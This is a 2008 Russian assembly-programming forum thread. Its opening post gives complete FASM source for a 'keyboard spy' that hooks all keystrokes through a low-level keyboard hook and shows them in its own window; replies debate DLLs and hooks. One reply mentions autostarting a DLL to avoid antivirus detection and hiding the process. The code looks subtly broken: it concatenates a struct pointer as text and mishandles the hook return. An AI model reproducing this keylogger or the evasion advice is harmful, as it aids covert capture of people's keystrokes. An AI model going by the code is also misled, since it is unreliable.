Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Asm для Windows/Dos > Клавиатурный шпион без DLL [FASM]


Автор: Rrader 20.4.2008, 08:00
Учебный пример. Каждый волен переделать под себя. smile Шпион не требует DLL
Код

format PE GUI 4.0
entry start

include 'win32ax.inc'
WH_KEYBOARD_LL = 13;

Buf db 36 dup(?)
Buf2 db 10000 dup(?)

section '.data' data readable writeable

  WndCaption db 'Simple Keyboard Spy', 0
  MemoClass db 'Edit', 0
  WndClassStr db "KSWindowClass"
  KBMsg db "Keyboard Message = ", 0
  ScanCode db "Virtual Key = ", 0
  WMKeyDownStr db "WM_KEYDOWN", 13, 10, 0
  WMKeyUpStr db "WM_KEYUP", 13, 10, 0
  WMSysKeyDownStr db "WM_SYSKEYDOWN", 13, 10, 0
  WMSysKeyUpStr db "WM_SYSKEYUP", 13, 10, 0
  CrLf db 13, 10, 0

  MemoWnd dd ?
  MemoFont dd ?
  HHook dd ?

  Msg MSG
  WinClass WNDCLASS 0, WindowProc, 0, 0, NULL, NULL, NULL, COLOR_BTNFACE + 1, NULL, WndClassStr
  Client RECT

section '.code' code readable executable

  ;Code Starts Here...
  start:
        invoke  GetModuleHandle, 0
        mov     [WinClass.hInstance], eax
        invoke  LoadIcon, eax, 17
        mov     [WinClass.hIcon], eax
        invoke  LoadCursor, 0, IDC_ARROW
        mov     [WinClass.hCursor], eax
        invoke  RegisterClass, WinClass

        invoke  CreateWindowEx, 0, WndClassStr, WndCaption, WS_VISIBLE + WS_OVERLAPPEDWINDOW, \
                  150, 140, 300, 300, NULL, 0, [WinClass.hInstance], NULL

  Msg_Loop:
        invoke  GetMessage, Msg, NULL, 0, 0
        or      eax, eax
        jz      End_Loop

        invoke  TranslateMessage, Msg
        invoke  DispatchMessage, Msg

        jmp     Msg_Loop

  End_Loop:
        invoke  ExitProcess, [Msg.wParam]

proc AddToMemo
       invoke   ZeroMemory, Buf2, 10000
       invoke   GetWindowTextLength, [MemoWnd]
       ; If Length = 0
       or       eax, eax
       je       ProcEnd
       ; Get Text
       invoke   GetWindowText, [MemoWnd], Buf2, eax
       ; Append With #13#10
       invoke   lstrcat, Buf2, CrLf
       ; Append With New Data
       invoke   lstrcat, Buf2, Buf
       invoke   SetWindowText, [MemoWnd], Buf2
       ret

  ProcEnd:

       invoke   SetWindowText, [MemoWnd], Buf
       ret
endp

; Low-Level Keyboard Proc
proc KeyBoardProc PCode, WParam, LParam
        cmp     [PCode], HC_ACTION
        jne     DoWork
        invoke  CallNextHookEx, [HHook], [PCode], [WParam], [LParam]

  DoWork:
        ; Clear Buffer
        invoke  ZeroMemory, Buf, 36
        ; Set The First Part Of Buffer
        invoke  lstrcpy, Buf, KBMsg
        cmp     [WParam], WM_KEYDOWN
        je      WM_KeyDown
        cmp     [WParam], WM_KEYUP
        je      WM_KeyUp
        cmp     [WParam], WM_SYSKEYDOWN
        je      WM_SysKeyDown
        cmp     [WParam], WM_SYSKEYUP
        je      WM_SysKeyUp

        jmp     QuitLabel

  WM_KeyDown:
        invoke  lstrcat, Buf, WMKeyDownStr
        jmp     QuitLabel
  WM_KeyUp:
        invoke  lstrcat, Buf, WMKeyUpStr
        jmp     QuitLabel
  WM_SysKeyDown:
        invoke  lstrcat, Buf, WMSysKeyDownStr
        jmp     QuitLabel
  WM_SysKeyUp:
        invoke  lstrcat, Buf, WMSysKeyUpStr
        jmp     QuitLabel

  ; Dislay Text
  QuitLabel:
        call    AddToMemo
        ; Add Scancode
        invoke  lstrcpy, Buf, ScanCode
        invoke  lstrcat, Buf, [LParam]
        invoke  lstrcat, Buf, CrLf
        call    AddToMemo
        ret
endp

; Window Procedure
proc WindowProc HWnd, Msg, WParam, LParam

        push    ebx esi edi
        cmp     [Msg], WM_CREATE
        je      WM_Create
        cmp     [Msg], WM_SIZE
        je      WM_Size
        cmp     [Msg], WM_SETFOCUS
        je      WM_SetFocus
        cmp     [Msg], WM_DESTROY
        je      WM_Destroy

  DefWndProc:
        invoke  DefWindowProc, [HWnd], [Msg], [WParam], [LParam]
        jmp     Finish

  WM_Create:
        invoke  GetClientRect, [HWnd], Client
        invoke  CreateWindowEx, WS_EX_CLIENTEDGE, MemoClass, 0, WS_VISIBLE + WS_CHILD + WS_HSCROLL + WS_VSCROLL + ES_AUTOHSCROLL + \
                  ES_AUTOVSCROLL + ES_READONLY +  ES_MULTILINE, [Client.left], [Client.top], [Client.right], \
                  [Client.bottom], [HWnd], 0, [WinClass.hInstance], NULL
        or      eax, eax
        jz      Failed
        mov     [MemoWnd], eax
        invoke  GetStockObject, DEFAULT_GUI_FONT
        mov     [MemoFont], eax
        invoke  SendMessage, [MemoWnd], WM_SETFONT, eax, FALSE
        ; Set Hook
        invoke  SetWindowsHookEx, WH_KEYBOARD_LL, KeyBoardProc, [WinClass.hInstance], 0
        or eax, eax
        jz Failed
        mov     [HHook], eax
        xor     eax, eax
        jmp     Finish
      Failed:
        or      eax, -1
        jmp     Finish
  WM_Size:
        invoke  GetClientRect, [HWnd], Client
        invoke  MoveWindow, [MemoWnd], [Client.left], [Client.top], [Client.right], [Client.bottom], TRUE
        xor     eax, eax
        jmp     Finish
  WM_SetFocus:
        invoke  SetFocus, [MemoWnd]
        xor     eax, eax
        jmp     Finish
  WM_Destroy:
        ; Remove Hook
        invoke  UnhookWindowsHookEx, [HHook]
        invoke  PostQuitMessage, 0
        xor     eax, eax

  Finish:
        pop     edi esi ebx
        ret
endp

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL',\
          gdi,'GDI32.DLL'

  import kernel,\
         GetModuleHandle,'GetModuleHandleA',\
         ExitProcess,'ExitProcess',\
         lstrcat,'lstrcat',\
         lstrcpy,'lstrcpy',\
         lstrlen, 'lstrlen',\
         ZeroMemory,'RtlZeroMemory'

  import user,\
         UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
         SetWindowsHookEx, 'SetWindowsHookExA',\
         CallNextHookEx,'CallNextHookEx',\
         RegisterClass,'RegisterClassA',\
         CreateWindowEx,'CreateWindowExA',\
         DefWindowProc,'DefWindowProcA',\
         GetMessage,'GetMessageA',\
         TranslateMessage,'TranslateMessage',\
         DispatchMessage,'DispatchMessageA',\
         SendMessage,'SendMessageA',\
         LoadCursor,'LoadCursorA',\
         LoadIcon,'LoadIconA',\
         GetClientRect,'GetClientRect',\
         MoveWindow,'MoveWindow',\
         SetFocus,'SetFocus',\
         GetWindowTextLength, 'GetWindowTextLengthA',\
         GetWindowText,'GetWindowTextA',\
         SetWindowText,'SetWindowTextA',\
         MessageBox,'MessageBoxA',\
         PostQuitMessage,'PostQuitMessage'

  import gdi,\
         GetStockObject, 'GetStockObject'

Примечание: в параметре LParam колбека передается адрес на структуру, имеющую такой прототип:
Код

  struc KBLowLevelHookProc {
    .vkCode dd ?
    .scanCode dd ?
    .flags dd ?
    .time dd ?
    .dwExtraInfo dd ?
  }

Автор: MAKCim 20.4.2008, 10:47
почему не требует DLL?
GetMessage(), TranslateMessage() и т. д компонуются статически?
+ мало это на шпиона похоже  smile 

Автор: Rrader 20.4.2008, 10:58
Цитата

почему не требует DLL?

Глобальный Hook должен быть в DLL, а здесь нет... 
Цитата

GetMessage(), TranslateMessage() и т. д компонуются статически?

А что?
Цитата

+ мало это на шпиона похоже

Ну понятно дело. Я к тому, что это пример использования хука.  smile 


Автор: piritus 21.4.2008, 20:25
интересно, конечно, но для hook`а dll больше "подходит" smile
dll можно поставить в автозагрузку не тревожа AVP и пр. и можно не придумывать, как бы скрыть процесс от диспетчера задач...

Автор: dumb 21.4.2008, 22:24
Цитата(piritus @  21.4.2008,  21:25 Найти цитируемый пост)
для hook`а dll больше "подходит" smile
dll можно поставить в автозагрузку
"слышу звон, да не знаю где он".
речь шла о глобальных хуках, и dll'ях, которые вгружаются в процессы после вызова SetWindowsHookEx. твои dll из "автозагрузки" тут не при чем.

Автор: piritus 22.4.2008, 05:19
Цитата(dumb @  22.4.2008,  03:24 Найти цитируемый пост)
речь шла о глобальных хуках, и dll'ях, которые вгружаются в процессы после вызова SetWindowsHookEx

и...
речь шла о том, что лучше из dll вызывать SetWindowsHookEx

Автор: Rrader 22.4.2008, 15:13
Цитата

речь шла о том, что лучше из dll вызывать SetWindowsHookEx

В случае глобального хука - безусловно. В случае локального - в DLL вообще нет необходимости. Мой пример реализует локальный хук на WH_KEYBOARD_LL, работающий как "глобальный".

Автор: piritus 22.4.2008, 19:58
да, хороший пример. скопировал-пригодится...

Автор: dumb 23.4.2008, 04:36
позволю себе еще раз вмешаться, дабы прояснить ситуацию.

Rrader, MAKCim просто иронизировал, шутливо придравшись к фразе "не требует DLL" - ведь твоя программа использует kernel32.dll, не так ли? его вопрос был по сути риторическим.

Цитата(piritus @  22.4.2008,  06:19 Найти цитируемый пост)
и... речь шла о том, что лучше из dll вызывать SetWindowsHookEx
это ты об этом "повел" речь. до этого шел разговор о расположении кода хук-процедуры, а не кода, инициирующего установку хука.

Цитата(Rrader @  22.4.2008,  16:13 Найти цитируемый пост)
В случае глобального хука - безусловно.
Цитата(piritus @  22.4.2008,  20:58 Найти цитируемый пост)
да, хороший пример.
это вы из вежливости что-ли? - говорите о разных вещах, но "взаимопонимание" присутствует. smile

Цитата(Rrader @  22.4.2008,  16:13 Найти цитируемый пост)
Мой пример реализует локальный хук на WH_KEYBOARD_LL, работающий как "глобальный".
Цитата(msdn)
WH_KEYBOARD_LL   Global only
microsoft называет это таки глобальным хуком, и нет оснований для сомнения, ибо "глобастее" некуда. smile
LL-хуки отличаются от своих глобальных собратьев тем, что при вызове хук-процедуры происходит переключение контекста на поток, который установил хук. именно поэтому в случае установки LL-хуков нет смысла размещать код хук-процедуры в DLL.

Автор: piritus 23.4.2008, 06:28
забавно было читать:

Цитата(dumb @  23.4.2008,  09:36 Найти цитируемый пост)
это вы из вежливости что-ли? - говорите о разных вещах, но "взаимопонимание" присутствует. 

smile

Автор: 500mhz 5.5.2008, 18:02
старо )
а еще если меня не плющит то все таки секция с кодом хука - шаред как бы должна быть

Автор: dumb 6.5.2008, 01:49
Цитата(500mhz @  5.5.2008,  19:02 Найти цитируемый пост)
если меня не плющит то все таки секция с кодом хука - шаред как бы должна быть
тебя плющит. мало того, если бы ты потрудился немного почитать топик, вместо снисходительного "старо", то понял бы, что речь даже не идет о dll. а если говорить о dll, то в них секция кода по умолчанию "шаред".

Автор: 500mhz 6.5.2008, 09:24
ну так я понял что хук не в длл , а уж про атрибуты секции -  так это как установиш а по умолчанию в фасме ничего не ставиться

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)